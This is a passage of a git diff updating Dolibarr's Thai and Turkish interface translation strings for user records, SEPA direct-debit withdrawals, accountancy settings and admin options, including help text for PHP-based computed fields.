logged DateOfEmployment=Employment date DateEmployment=Employment -DateEmploymentstart=Employment Start Date +DateEmploymentStart=Employment Start Date DateEmploymentEnd=Employment End Date RangeOfLoginValidity=Access validity date range CantDisableYourself=You can't disable your own user record @@ -124,3 +124,11 @@ ValidatorIsSupervisorByDefault=By default, the validator is the supervisor of th UserPersonalEmail=Personal email UserPersonalMobile=Personal mobile phone WarningNotLangOfInterface=Warning, this is the main language the user speak, not the language of the interface he choosed to see. To change the interface language visible by this user, go on tab %s +DateLastLogin=Date last login +DatePreviousLogin=Date previous login +IPLastLogin=IP last login +IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card diff --git a/htdocs/langs/th_TH/withdrawals.lang b/htdocs/langs/th_TH/withdrawals.lang index 871ec4eab79..82bff4a4310 100644 --- a/htdocs/langs/th_TH/withdrawals.lang +++ b/htdocs/langs/th_TH/withdrawals.lang @@ -31,16 +31,18 @@ SupplierInvoiceWaitingWithdraw=Vendor invoice waiting for payment by credit tran InvoiceWaitingWithdraw=Invoice waiting for direct debit InvoiceWaitingPaymentByBankTransfer=Invoice waiting for credit transfer AmountToWithdraw=จำนวนเงินที่จะถอนตัว +AmountToTransfer=Amount to transfer NoInvoiceToWithdraw=No invoice open for '%s' is waiting. Go on tab '%s' on invoice card to make a request. -NoSupplierInvoiceToWithdraw=No supplier invoice with open 'Direct credit requests' is waiting. Go on tab '%s' on invoice card to make a request. +NoSupplierInvoiceToWithdraw=No supplier invoice with open '%s' is waiting. Go on tab '%s' on invoice card to make a request. ResponsibleUser=User Responsible WithdrawalsSetup=Direct debit payment setup CreditTransferSetup=Credit transfer setup WithdrawStatistics=Direct debit payment statistics CreditTransferStatistics=Credit transfer statistics -Rejects=เสีย +Rejects=ปฏิเสธ LastWithdrawalReceipt=Latest %s direct debit receipts MakeWithdrawRequest=Make a direct debit payment request +MakeWithdrawRequestStripe=Make a direct debit payment request via Stripe MakeBankTransferOrder=Make a credit transfer request WithdrawRequestsDone=%s direct debit payment requests recorded BankTransferRequestsDone=%s credit transfer requests recorded @@ -99,8 +101,11 @@ CreditDate=เกี่ยวกับบัตรเครดิต WithdrawalFileNotCapable=ไม่สามารถสร้างไฟล์ใบเสร็จรับเงินการถอนเงินสำหรับประเทศ% s ของคุณ (ประเทศของคุณไม่ได้รับการสนับสนุน) ShowWithdraw=Show Direct Debit Order IfInvoiceNeedOnWithdrawPaymentWontBeClosed=However, if invoice has at least one direct debit payment order not yet processed, it won't be set as paid to allow prior withdrawal management. -DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, go into menu Bank->Payment by direct debit to generate and manage the direct debit order. When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. -DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu Bank->Payment by credit transfer to generate and manage the credit transfer order. When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. +DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, you can go into menu "Bank->Payment by direct debit" to generate and manage a Direct debit order file. +DoStandingOrdersBeforePayments2=You can also send a request directly to a SEPA payment processor like Stripe, ... +DoStandingOrdersBeforePayments3=When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. +DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu "Bank->Payment by credit transfer" to generate and manage a Credit transfer order file. +DoCreditTransferBeforePayments3=When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. WithdrawalFile=Debit order file CreditTransferFile=Credit transfer file SetToStatusSent=ตั้งสถานะ "แฟ้มส่ง" @@ -117,7 +122,7 @@ WithdrawRequestErrorNilAmount=Unable to create direct debit request for empty am SepaMandate=SEPA Direct Debit Mandate SepaMandateShort=SEPA Mandate PleaseReturnMandate=Please return this mandate form by email to %s or by mail to -SEPALegalText=By signing this mandate form, you authorize (A) %s to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. +SEPALegalText=By signing this mandate form, you authorize (A) %s and its payment service provider to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. CreditorIdentifier=Creditor Identifier CreditorName=Creditor Name SEPAFillForm=(B) Please complete all the fields marked * @@ -136,6 +141,7 @@ SEPAFRST=SEPA FRST ExecutionDate=Execution date CreateForSepa=Create direct debit file ICS=Creditor Identifier - ICS +IDS=Debitor Identifier END_TO_END="EndToEndId" SEPA XML tag - Unique id assigned per transaction USTRD="Unstructured" SEPA XML tag ADDDAYS=Add days to Execution Date @@ -145,7 +151,7 @@ InfoCreditSubject=Payment of direct debit payment order %s by the bank InfoCreditMessage=The direct debit payment order %s has been paid by the bank
      Data of payment: %s InfoTransSubject=Transmission of direct debit payment order %s to bank InfoTransMessage=The direct debit payment order %s has been sent to bank by %s %s.

      -InfoTransData=จำนวนเงิน:% s
      วิธีการ:% s
      วันที่:% s +InfoTransData=จำนวนเงิน: %s
      วิธีการ: %s
      วันที่: %s InfoRejectSubject=Direct debit payment order refused InfoRejectMessage=Hello,

      the direct debit payment order of invoice %s related to the company %s, with an amount of %s has been refused by the bank.

      --
      %s ModeWarning=ตัวเลือกสำหรับโหมดจริงไม่ได้ตั้งค่าเราหยุดหลังจากจำลองนี้ @@ -154,3 +160,4 @@ ErrorICSmissing=Missing ICS in Bank account %s TotalAmountOfdirectDebitOrderDiffersFromSumOfLines=Total amount of direct debit order differs from sum of lines WarningSomeDirectDebitOrdersAlreadyExists=Warning: There is already some pending Direct Debit orders (%s) requested for an amount of %s WarningSomeCreditTransferAlreadyExists=Warning: There is already some pending Credit Transfer (%s) requested for an amount of %s +UsedFor=Used for %s diff --git a/htdocs/langs/tr_TR/accountancy.lang b/htdocs/langs/tr_TR/accountancy.lang index 0c452a1d554..0584f7999b5 100644 --- a/htdocs/langs/tr_TR/accountancy.lang +++ b/htdocs/langs/tr_TR/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Taşıyıcı dönüş türünü seçin ACCOUNTING_EXPORT_PREFIX_SPEC=Dosya adı için öneki belirtin ThisService=Bu hizmet ThisProduct=Bu ürün -DefaultForService=Hizmet için varsayılan -DefaultForProduct=Ürün için varsayılan +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Product for this thirdparty ServiceForThisThirdparty=Service for this thirdparty CantSuggest=Öneri yok @@ -48,8 +48,9 @@ CountriesNotInEEC=Avrupa Ekonomi Topluluğu'nda Olmayan Ülkeler CountriesInEECExceptMe=%s hariç Avrupa Ekonomi Topluluğu ülkeleri CountriesExceptMe=%s hariç tüm ülkeler AccountantFiles=Kaynak belgeleri dışa aktar -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,6 +59,7 @@ MainAccountForSuppliersNotDefined=Tedarikçiler için ana muhasebe hesabı kurul MainAccountForUsersNotDefined=Kullanıcılar için ana muhasebe hesabı kurulumda tanımlı değil MainAccountForVatPaymentNotDefined=KDV ödemesi için ana muhasebe hesabı kurulumda tanımlı değil MainAccountForSubscriptionPaymentNotDefined=Kurulumda tanımlanmayan abonelik ödemesi için ana muhasebe hesabı +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Muhasebe alanı AccountancyAreaDescIntro=Muhasebe modülünün kullanımı birkaç adımda tamamlanır: @@ -99,7 +101,8 @@ ShowAccountingAccount=Muhasebe hesabını göster ShowAccountingJournal=Muhasebe günlüğünü göster ShowAccountingAccountInLedger=Show accounting account in ledger ShowAccountingAccountInJournals=Show accounting account in journals -AccountAccountingSuggest=Önerilen muhasebe hesabı +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=Varsayılan hesaplar MenuBankAccounts=Banka hesapları MenuVatAccounts=KDV hesapları @@ -124,6 +127,7 @@ WriteBookKeeping=Record transactions in accounting Bookkeeping=Büyük Defter BookkeepingSubAccount=Subledger AccountBalance=Hesap bakiyesi +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Source object ref CAHTF=Total purchase vendor before tax TotalExpenseReport=Toplam gider raporu @@ -161,41 +165,47 @@ BANK_DISABLE_DIRECT_INPUT=Disable direct recording of transaction in bank accoun ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Enable draft export on journal ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Satış günlüğü -ACCOUNTING_PURCHASE_JOURNAL=Alış günlüğü -ACCOUNTING_MISCELLANEOUS_JOURNAL=Çeşitli günlük +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Gider raporu günlüğü -ACCOUNTING_SOCIAL_JOURNAL=Sosyal günlük +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Has new Journal +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Sosyal günlük ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Kapanış günlüğü -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Muhasebe hesabının bekletilmesi -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Satılan ürünler için varsayılan muhasebe hesabı (ürün kartlarında tanımlanmışsa) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Satınalınan hizmetler için varsayılan muhasebe hesabı (ürün kartlarında tanımlanmışsa) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Satılan hizmetler için varsayılan muhasebe kodu (hizmet sayfasında tanımlanmamışsa) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Belge türü Docdate=Tarih @@ -210,7 +220,8 @@ Codejournal=Günlük JournalLabel=Journal label NumPiece=Parça sayısı TransactionNumShort=Num. transaction -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. @@ -258,19 +269,20 @@ ShowSubtotalByGroup=Show subtotal by level Pcgtype=Hesap grubu PcgtypeDesc=Group of account are used as predefined 'filter' and 'grouping' criteria for some accounting reports. For example, 'INCOME' or 'EXPENSE' are used as groups for accounting accounts of products to build the expense/income report. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Reconcilable TotalVente=Vergi öncesi toplam gelir TotalMarge=Toplam satışlar kar oranı -DescVentilCustomer=Burada bir ürün hesabına bağlı (ya da bağlı olmayan) müşteri faturaları satırları listesine bakın. -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Burada müşteri faturaları satırlarına ve onların ürün muhasebe hesabı listesine bakın -DescVentilTodoCustomer=Bir ürün muhasebe hesabı ile bağlı olmayan müşteri faturaları satırlarını bağlayın -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -278,24 +290,25 @@ DescVentilExpenseReportMore=If you setup accounting account on type of expense r DescVentilDoneExpenseReport=Consult here the list of the lines of expenses reports and their fees accounting account Closure=Yıllık kapanış -DescClosure=Consult here the number of movements by month who are not yet validated & locked +DescClosure=Consult here the number of movements by month not yet validated & locked OverviewOfMovementsNotValidated=Overview of movements not validated and locked AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked -ValidateMovements=Validate and lock record... +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=Otomatik Olarak Bağla AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Hata, kullanıldığı için bu muhasebe hesabını silemezsiniz -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used +MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Balancing FicheVentilation=Bağlama kartı GeneralLedgerIsWritten=Transactions are written in the Ledger GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. NoNewRecordSaved=No more record to transfer -ListOfProductsWithoutAccountingAccount=List of products not bound to any accounting account +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Bağlamayı değiştir Accounted=Accounted in ledger NotYetAccounted=Henüz muhasebeye aktarılmamış @@ -318,9 +331,10 @@ AccountingJournalType1=Çeşitli işlemler AccountingJournalType2=Satışlar AccountingJournalType3=Alışlar AccountingJournalType4=Banka -AccountingJournalType5=Gider raporu +AccountingJournalType5=Gider raporları AccountingJournalType8=Envanter AccountingJournalType9=Has-new +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=This journal is already use AccountingAccountForSalesTaxAreDefinedInto=Note: Accounting account for Sales tax are defined into menu %s - %s NumberOfAccountancyEntries=Girişlerin sayısı @@ -328,10 +342,14 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) -NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "Closure" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Export draft journal @@ -388,7 +406,7 @@ SaleLocal=Local sale SaleExport=Export sale SaleEEC=Sale in EEC SaleEECWithVAT=Sale in EEC with a VAT not null, so we suppose this is NOT an intracommunautary sale and the suggested account is the standard product account. -SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fallback on the product account for standard sales. You can fix the VAT ID of thirdparty or the product account if needed. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Forbidden: The transaction has been validated and/or exported. ForbiddenTransactionAlreadyValidated=Forbidden: The transaction has been validated. ## Dictionary @@ -397,7 +415,11 @@ Calculated=Hesaplanmış Formula=Formül ## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual AccountancyNoLetteringModified=No reconcile modified AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified @@ -406,8 +428,9 @@ AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modif AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified ## Confirm box -ConfirmMassUnlettering=Bulk Unreconcile confirmation -ConfirmMassUnletteringQuestion=Are you sure you want to Unreconcile the %s selected record(s)? +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? ConfirmMassDeleteBookkeepingWriting=Toplu Silme onayı ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? @@ -426,6 +449,8 @@ SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorr AccountancyErrorMismatchLetterCode=Mismatch in reconcile code AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Muhasebe girişleri @@ -452,6 +477,7 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=Expense Report Journal -InventoryJournal=Inventory Journal +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s accounts diff --git a/htdocs/langs/tr_TR/admin.lang b/htdocs/langs/tr_TR/admin.lang index e15f88bfaec..e213f511dee 100644 --- a/htdocs/langs/tr_TR/admin.lang +++ b/htdocs/langs/tr_TR/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=İstemci karşılaştırma WarningModuleNotActive=%s modülü etkin olmalıdır WarningOnlyPermissionOfActivatedModules=Burada sadece etkinleştirilmiş modüllerle ile ilgili izinler gösterilir. Diğer modülleri Giriş->Ayarlar->Modüller/Uygulamalar sayfasından etkinleştirebilirsiniz. DolibarrSetup=Dolibarr yükleme veya yükseltme -InternalUser=İç kullanıcı -ExternalUser=Dış kullanıcı InternalUsers=İç kullanıcılar ExternalUsers=Dış kullanıcılar UserInterface=User interface @@ -147,6 +145,7 @@ Box=Ekran etiketi Boxes=Ekran Etiketleri MaxNbOfLinesForBoxes=Ekran etiketleri için maksimum satır sayısı AllWidgetsWereEnabled=Mevcut olan tüm ekran etiketleri etkinleştirildi +WidgetAvailable=Widget available PositionByDefault=Varsayılan sıra Position=Konum MenusDesc=Menü yöneticisi iki menü çubuğunun içeriğini ayarlar (yatay ve dikey). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP Sunucusu (php.ini içinde varsayılan değer: %s%s) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Geri dönen hatalı mailler için kullanılacak e-posta adresi (gönderilen maillerdeki 'Hatalar-buraya' alanı) MAIN_MAIL_AUTOCOPY_TO= Gönderilen tüm maillerin kopyasının (Bcc) gönderileceği e-posta adresi MAIN_DISABLE_ALL_MAILS=Tüm e-posta gönderimini devre dışı bırak (test veya demo kullanımı için) @@ -375,7 +375,7 @@ DoTestSendHTML=HTML Test gönderimi ErrorCantUseRazIfNoYearInMask=Hata, {yy} ya da {yyyy} dizisi maske olarak tanımlanmamışsa @ seçeneği kullanılamaz. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Hata, eğer {yy}{mm} ya da {yyyy}{mm} dizisi maske olarak tanımlanmamışsa @ seçeneği kullanılamaz. UMask=Unix/Linux/BSD dosya sisteminde yeni dosyalar için Umask parametresi. -UMaskExplanation=Bu parametre Dolibarr tarafından sunucuda oluşturulan dosyaların izinlerini varsayılan olarak tanımlamanıza (örneğin yükleme sırasında) izin verir.
      Bu sekizli değer olmalıdır (örneğin, 0666 herkes için okuma ve yazma anlamına gelir).
      Bu parametre Windows sunucusunda kullanılmaz. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Katkıda bulunanlar ve kuruluşlarının bir listesi için Wiki sayfasına göz atın UseACacheDelay= Saniye olarak önbellek aktarması tepki gecikmesi (hiç önbellek yoksa 0 ya da boş) DisableLinkToHelpCenter=Oturum açma sayfasında "Yardım ya da destek gerekli" bağlantısını gizle @@ -439,8 +439,10 @@ Unique=Benzersiz Boolean=Boole (bir onay kutusu) ExtrafieldPhone = Telefon ExtrafieldPrice = Fiyat +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = E-posta ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Liste seç ExtrafieldSelectList = Tablodan seç ExtrafieldSeparator=Ayırıcı (bir alan değil) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Onay kutuları ExtrafieldCheckBoxFromList=Tablodan onay kutuları ExtrafieldLink=Bir nesneye bağlantı ComputedFormula=Hesaplanmış alan -ComputedFormulaDesc=Dinamik hesaplanmış bir değer elde etmek için nesnenin diğer özelliklerini veya herhangi bir PHP kodlamasını kullanarak buraya bir formül girebilirsiniz. "?" Dahil herhangi bir PHP uyumlu formülü kullanabilirsiniz. koşul operatörü ve aşağıdaki genel nesne: $db, $conf, $langs, $mysoc, $user, $object.
      UYARI: $object öğesinin yalnızca bazı özellikleri mevcut olabilir. Yüklenmemiş bir özelliğe ihtiyacınız varsa, ikinci örnekte olduğu gibi kendinize nesneyi formülünüze getirin.
      Hesaplanan bir alan kullanmak, arayüzden kendinize herhangi bir değer giremeyeceğiniz anlamına gelir. Ayrıca, bir sözdizimi hatası varsa, formül hiçbir şey döndürmeyebilir.

      Formül örneği:
      $object-> id <10 ? round($object->id/2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Nesneyi yeniden yükleme örneği
      (($reloadedobj = new Societe($ db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital/5: '-1'

      Nesnenin ve onun üst nesnesinin yüklenmesini zorlamak için başka bir formül örneği:
